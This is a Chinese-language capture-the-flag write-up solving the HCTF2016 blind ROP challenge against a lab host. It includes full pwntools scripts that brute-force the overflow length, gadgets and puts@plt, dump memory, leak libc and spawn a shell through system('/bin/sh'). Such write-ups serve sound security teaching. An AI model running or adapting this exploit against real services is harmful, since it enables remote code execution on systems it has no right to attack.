题目是wiki上面的BROP,来自HCTF2016
搭好环境,因为是brop练习,所以就不用ida了。
因为没有二进制文件,略过checksec
1.确定栈溢出长度
测得72。同时可以根据回显发现程序没有开启canary保护。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| def get_buf_size(): i = 1 while True: try: p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.send(i * "a") output = p.recv() p.close() if not output.startswith(b"No password"): return i - 1 else: log.info("%d is not enough" % i) i += 1 except EOFError: p.close() i -= 1 log.info("buf_size is %d" % i) return i
|
2.寻找 stop gadget
其实就是找到一个让程序不崩溃的地方,比如函数入口
假设程序没有开启PIE,那么基地址为0x08048000或0x400000
先假设程序是64位的试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| def get_stop_addr(buf_size, start_addr=0x400000): stop_addr = start_addr while True: try: p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") payload = b"a" * buf_size + p64(stop_addr) p.sendline(payload) p.recv() p.close() log.info("one success addr: 0x%x" % stop_addr) return stop_addr except EOFError: log.info("one fail addr: 0x%x" % stop_addr) stop_addr += 1 p.close() except Exception: log.info("connect error") stop_addr -= 1
|
找这个地址要等好一会,得到一个0x4006b6,确实是64位程序
这里好死不死找到main的地址了,搞得下面出不来。换了一个0x4006ce
3.获取main的地址
获取main的地址这是个笼统的说法,其实是要的地址是到这个地址就会打印WelCome…的地方
如果从程序的基地址 0x400000
开始寻找的话,按照 Linux ELF执行的顺序,优先找到的肯定是 _start
函数,所以这里也可以说是寻找 _start
函数,对于我们的需求来说,找到 _start
和 找到 main
是一样的
既然我们已经找到了 stop_gadget
,那么我们就可以把 stop_gadget
的地址放在我们要遍历的地址的下一条指令,这样以便能够获取被遍历的地址的返回结果。但是 _start
函数本身就是一个 stop_gadget
,所以我们在这一步就不放置 stop_gadget
了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| def get_main_addr(buf_size, start_addr=0x400660): main_addr = start_addr while True: main_addr += 1 payload = b"a" * buf_size + p64(main_addr)
try: p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.sendline(payload) resp = p.recv() p.close() log.info( "find one stop gadget: 0x%x ------------------------------------" % main_addr )
if resp.startswith(b"WelCome"): log.info("find main addr: 0x%x" % main_addr) return main_addr except EOFError: log.info("one fail addr: 0x%x" % main_addr) p.close() except Exception: log.info("connect error") main_addr -= 1
|
第一次爆的时候没爆出来,后来发现是前面的stop_gadget找的是main_addr。换了一个就好了。
4.识别 brop gadget
在 x64
的 Linux
用户空间环境中,参数都是通过寄存器来实现的,具体如下:
内核接口
内核接口使用的寄存器有rdi
、rsi
、rdx
、r10
、r8
和r9
。系统调用通过syscall
指令完成。除了rcx
、r11
和rax
,其他的寄存器都被保留。系统调用的编号必须在寄存器 rax
中传递。系统调用的参数限制为6个,不直接从堆栈上传递任何参数。返回时,rax
中包含了系统调用的结果,而且只有 INTEGER
或者 MEMORY
类型的值才会被传递给内核。
用户接口
x86-64
下通过寄存器传递参数,这样做比通过栈具有更高的效率。它避免了内存中参数的存取和额外的指令。根据参数类型的不同,会使用寄存器或传参方式。如果参数的类型是 MEMORY
,则在栈上传递参数。如果类型是INTEGER
,则顺序使用 rdi
、rsi
、rdx
、rcx
、r8
和 r9
。所以如果有多于 6
个的 INTEGER
参数,则后面的参数在栈上传递。
什么是 useful gadget
取决于你要利用哪个函数做哪些事,在 BROP
的攻击中基本上都是利用 write
函数和 puts
函数来 dump
内存
puts:
1 2 3
| #include <stdio.h>
int puts(const char *s);
|
puts 函数就一个参数,所以按照用户接口的函数调用约定,只需要在 rdi
寄存器中设置参数就可以了,那我们需要的 useful gadget
就是 pop rdi; ret
,这个 gadget 的意思就是将栈顶的内容存储到 rdi
寄存器中,之后再将更新后的栈顶的地址存储到 RIP
寄存器中,之后系统就会执行 RIP
寄存器中存储的地址所指向的指令
write:
1 2 3
| #include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
|
write
函数共有三个参数,所以按照用户接口的函数调用约定,需要分别在 rdi、rsi、rdx
分别设置参数,那么需要的useful gadget
就比较复杂了,可以分别找到 pop rdi;ret
、pop rsi;ret
、pop rdx; ret
,这三个顺序可以变化,赋值顺序也跟着变就好了,当然也可以进行一些组合,比如 pop rdi;pop rsi;ret
、pop rdx;ret
,当然了,如果你可以直接找到 pop rdi;pop rsi; pop rdx;ret
那就算你牛好了
比较起来,还是 puts
函数容易得多,由于 gcc
在编译 c
代码的过程中,对只有一个参数的 printf
函数有一项优化,也就是使用 puts
函数来替换 printf
函数,所以在有输出的程序中使用了 puts
的可能性还是挺大的。
然后寻找通用gadget,还是__libc_csu_init
在https://defuse.ca/online-x86-assembler.htm#disassembly可以查到`pop rdi;ret`的字节码是5FC3
在通用gadget中可以找到:
可以把指针位置调整,从5F开始解析,就可以获取到5FC3了。
现在获取gadget的任务编程了获取第一块gadget的地址
通过gadget的连续六个pop可以作为筛选条件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| def get_useful_gadget(buf_size, stop_gadget, main_addr, start_addr=0x4007B0): useful_gadget = start_addr stop_gadget = stop_gadget main_addr = main_addr
while True: time.sleep(0.5) useful_gadget += 1 payload = b"a" * buf_size + p64(useful_gadget) + p64(1) * 6 + p64(main_addr) try: p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.sendline(payload) resp = p.recv(timeout=0.5) p.close() log.info( "find one stop gadget: 0x%x ------------------------------------" % useful_gadget )
if resp.startswith(b"WelCome"): try: payload = b"a" * buf_size + p64(useful_gadget) + p64(1) * 6 p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.sendline(payload) resp = p.recv() p.close() except EOFError: log.info("one useful addr: 0x%x" % useful_gadget) p.close() return useful_gadget except EOFError: log.info("not 0x%x" % useful_gadget) p.close() except Exception: log.info("connect error") useful_gadget -= 1
|
pop rdi;ret
的地址是gadget+0x9
5.确定 puts@plt 地址
可以控制rdi这个寄存器那么就可以给puts提供参数了。如果执行到某个地址后我们的参数被打印出来了,那么这个地址就是puts的plt地址
有了puts就可以把每个地址的内容都打印出来。
虽然能控制参数,但只能传递一个地址进去,所以必须知道某个地址的内容。
Linux ELF 文件最开始的几个字节是魔数,固定的\x7fELF
,那么0x400000存储的内容就是\x7fELF
。所以可以把它作为参数,看看遍历到什么地方时回打印出\x7fELF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| def get_puts_plt(buf_size, stop_gadget, main_addr, useful_gadget, start_addr=0x400540): pop_rdi_ret = useful_gadget + 0x9 elf_magic_addr = 0x400000 puts_plt = start_addr
while True: time.sleep(0.5) puts_plt += 1 payload = ( b"a" * buf_size + p64(pop_rdi_ret) + p64(elf_magic_addr) + p64(puts_plt) + p64(main_addr) ) try: p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.sendline(payload) resp1 = p.recvline(timeout=0.5) resp2 = p.recvline(timeout=0.5)
if resp1.startswith(b"\x7fELF") and resp2.startswith(b"WelCome"): p.close() log.info("puts_plt: 0x%x" % puts_plt) return puts_plt p.close() log.info( "find one stop gadget: 0x%x ------------------------------------" % puts_plt ) except EOFError: log.info("not 0x%x" % puts_plt) p.close() except Exception: log.info("connect error") puts_plt -= 1
|
要注意recv()和recvline()
其实这里得到的地址和实际有一点偏差,但是都可以起到控制puts的作用,偏差的代码大概是类似滑板的。
6.dump内存
有了puts的plt就可以打印每一个地址的内容了,可以dump内存。
puts 函数通过 \x00
进行截断,并且会在每一次输出末尾加上换行符 \x0a
,所以有一些特殊情况需要做一些处理,比如单独的 \x00
、\x0a
等,首先当然是先去掉末尾 puts 自动加上的 \n
,然后如果 recv 到一个 \n
,说明内存中是 \x00
,如果 recv 到一个 \n\n
,说明内存中是 \x0a
。p.recv(timeout=0.1)
是由于函数本身的设定,如果有 \n\n
,它很可能在收到第一个 \n
时就返回了,加上参数可以让它全部接收完。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| def dump_memory( buf_size, stop_gadget, main_addr, useful_gadget, puts_plt, start_addr=0x400000, end_addr=0x401000, ): pop_rdi_ret = useful_gadget + 0x9 result = b""
while start_addr < end_addr: time.sleep(0.5) payload = ( b"a" * buf_size + p64(pop_rdi_ret) + p64(start_addr) + p64(puts_plt) + p64(stop_gadget) ) try: p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.sendline(payload) resp1 = p.recv(timeout=0.5)
if resp1 == b"\n": resp = b"\x00" elif resp1[-1:] == b"\n": log.info( "[++++]leaking: 0x%x --> %s" % (start_addr, (resp or b"").hex()) ) resp = resp1[:-1] + b"\x00" else: resp = resp1
if resp != resp1: log.info( "[change]resp1: 0x%x: %s --> resp1: 0x%x: %s" % ( start_addr, (resp1 or b"").hex(), start_addr, (resp or b"").hex(), ) )
log.info("leaking: 0x%x --> %s" % (start_addr, (resp or b"").hex())) result += resp start_addr += len(resp) p.close()
except Exception as e: print(e) log.info("connect error") start_addr -= 1 return result
|
在我缓慢的虚拟机上要等差不多十五分钟。
先跑着吧,感觉比赛的靶机经不起这么连呢…
可以使用上面这个工具,但是不知道这次打开为什么是invalid
所以换成ida了
打开binary模式,edit->segments->rebase program 将程序的基地址改为 0x400000,然后找到偏移0x555
看push 0 前面的那个地址0x601018,大概率就是puts的got地址了
7.泄露libc
1 2 3 4 5 6 7 8 9
| puts_got = 0x601018 p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") payload = ( b"a" * buf_size + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) ) p.sendline(payload) puts_real_addr = u64(p.recvline()[:-1].ljust(8, b"\x00")) print("puts_real_addr: 0x%x" % puts_real_addr)
|
8.利用
又遇到了栈对齐
前面的pop rdi;ret
的字节码是5f3c,起始地址是useful+9,那么ret的地址就是userful+10
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275
| from ctypes import * from struct import pack from LibcSearcher import * from pwn import *
def get_buf_size(): i = 1 while True: try: p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.send(i * "a") output = p.recv() p.close() if not output.startswith(b"No password"): return i - 1 else: log.info("%d is not enough" % i) i += 1 except EOFError: p.close() i -= 1 log.info("buf_size is %d" % i) return i
def get_stop_addr(buf_size, start_addr=0x4006C0): stop_addr = start_addr while True: try: p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") payload = b"a" * buf_size + p64(stop_addr) p.sendline(payload) p.recv() p.close() log.info("one success addr: 0x%x" % stop_addr) return stop_addr except EOFError: log.info("one fail addr: 0x%x" % stop_addr) stop_addr += 1 p.close() except Exception: log.info("connect error") stop_addr -= 1
def get_main_addr(buf_size, start_addr=0x4006B0): main_addr = start_addr while True: main_addr += 1 payload = b"a" * buf_size + p64(main_addr)
try: p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.sendline(payload) resp = p.recv() p.close() log.info( "find one stop gadget: 0x%x ------------------------------------" % main_addr )
if resp.startswith(b"WelCome"): log.info("find main addr: 0x%x" % main_addr) return main_addr except EOFError: log.info("one fail addr: 0x%x" % main_addr) p.close() except Exception: log.info("connect error") main_addr -= 1
def get_useful_gadget(buf_size, stop_gadget, main_addr, start_addr=0x4007B0): useful_gadget = start_addr stop_gadget = stop_gadget main_addr = main_addr
while True: time.sleep(0.5) useful_gadget += 1 payload = b"a" * buf_size + p64(useful_gadget) + p64(1) * 6 + p64(main_addr) try: p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.sendline(payload) resp = p.recv(timeout=0.5) p.close() log.info( "find one stop gadget: 0x%x ------------------------------------" % useful_gadget )
if resp.startswith(b"WelCome"): try: payload = b"a" * buf_size + p64(useful_gadget) + p64(1) * 6 p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.sendline(payload) resp = p.recv() p.close() except EOFError: log.info("one useful addr: 0x%x" % useful_gadget) p.close() return useful_gadget except EOFError: log.info("not 0x%x" % useful_gadget) p.close() except Exception: log.info("connect error") useful_gadget -= 1
def get_puts_plt(buf_size, stop_gadget, main_addr, useful_gadget, start_addr=0x400540): pop_rdi_ret = useful_gadget + 0x9 elf_magic_addr = 0x400000 puts_plt = start_addr
while True: time.sleep(0.5) puts_plt += 1 payload = ( b"a" * buf_size + p64(pop_rdi_ret) + p64(elf_magic_addr) + p64(puts_plt) + p64(main_addr) ) try: p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.sendline(payload) resp1 = p.recvline(timeout=0.5) resp2 = p.recvline(timeout=0.5)
if resp1.startswith(b"\x7fELF") and resp2.startswith(b"WelCome"): p.close() log.info("puts_plt: 0x%x" % puts_plt) return puts_plt p.close() log.info( "find one stop gadget: 0x%x ------------------------------------" % puts_plt ) except EOFError: log.info("not 0x%x" % puts_plt) p.close() except Exception: log.info("connect error") puts_plt -= 1
def dump_memory( buf_size, stop_gadget, main_addr, useful_gadget, puts_plt, start_addr=0x400000, end_addr=0x401000, ): pop_rdi_ret = useful_gadget + 0x9 result = b""
while start_addr < end_addr: time.sleep(0.5) payload = ( b"a" * buf_size + p64(pop_rdi_ret) + p64(start_addr) + p64(puts_plt) + p64(stop_gadget) ) try: p = remote("192.168.3.166", 8888) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.sendline(payload) resp1 = p.recv(timeout=0.5)
if resp1 == b"\n": resp = b"\x00" elif resp1[-1:] == b"\n": log.info( "[++++]leaking: 0x%x --> %s" % (start_addr, (resp or b"").hex()) ) resp = resp1[:-1] + b"\x00" else: resp = resp1
if resp != resp1: log.info( "[change]resp1: 0x%x: %s --> resp1: 0x%x: %s" % ( start_addr, (resp1 or b"").hex(), start_addr, (resp or b"").hex(), ) )
log.info("leaking: 0x%x --> %s" % (start_addr, (resp or b"").hex())) result += resp start_addr += len(resp) p.close()
except Exception as e: print(e) log.info("connect error") return result
context(log_level="debug", os="linux", arch="amd64")
buf_size = 72
stop_gadget = 0x4006CE
main_addr = 0x4006B6
useful_gadget = 0x4007BA pop_rdi_ret = useful_gadget + 0x9
puts_plt = 0x400555
puts_got = 0x601018 p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n") payload = ( b"a" * buf_size + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) ) p.sendline(payload) puts_real_addr = u64(p.recvline()[:-1].ljust(8, b"\x00")) print("puts_real_addr: 0x%x" % puts_real_addr)
libc = LibcSearcher("puts", puts_real_addr) libc_base = puts_real_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh") print("system_addr: 0x%x" % system_addr) print("binsh_addr: 0x%x" % binsh_addr) payload = ( b"a" * buf_size + p64(useful_gadget + 10) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget) ) p.recvuntil(b"WelCome my friend,Do you know password?\n") p.sendline(payload) p.interactive()
|
参考:
https://cloud.tencent.com/developer/article/1965871 (写得比wiki详细,清楚非常非常多)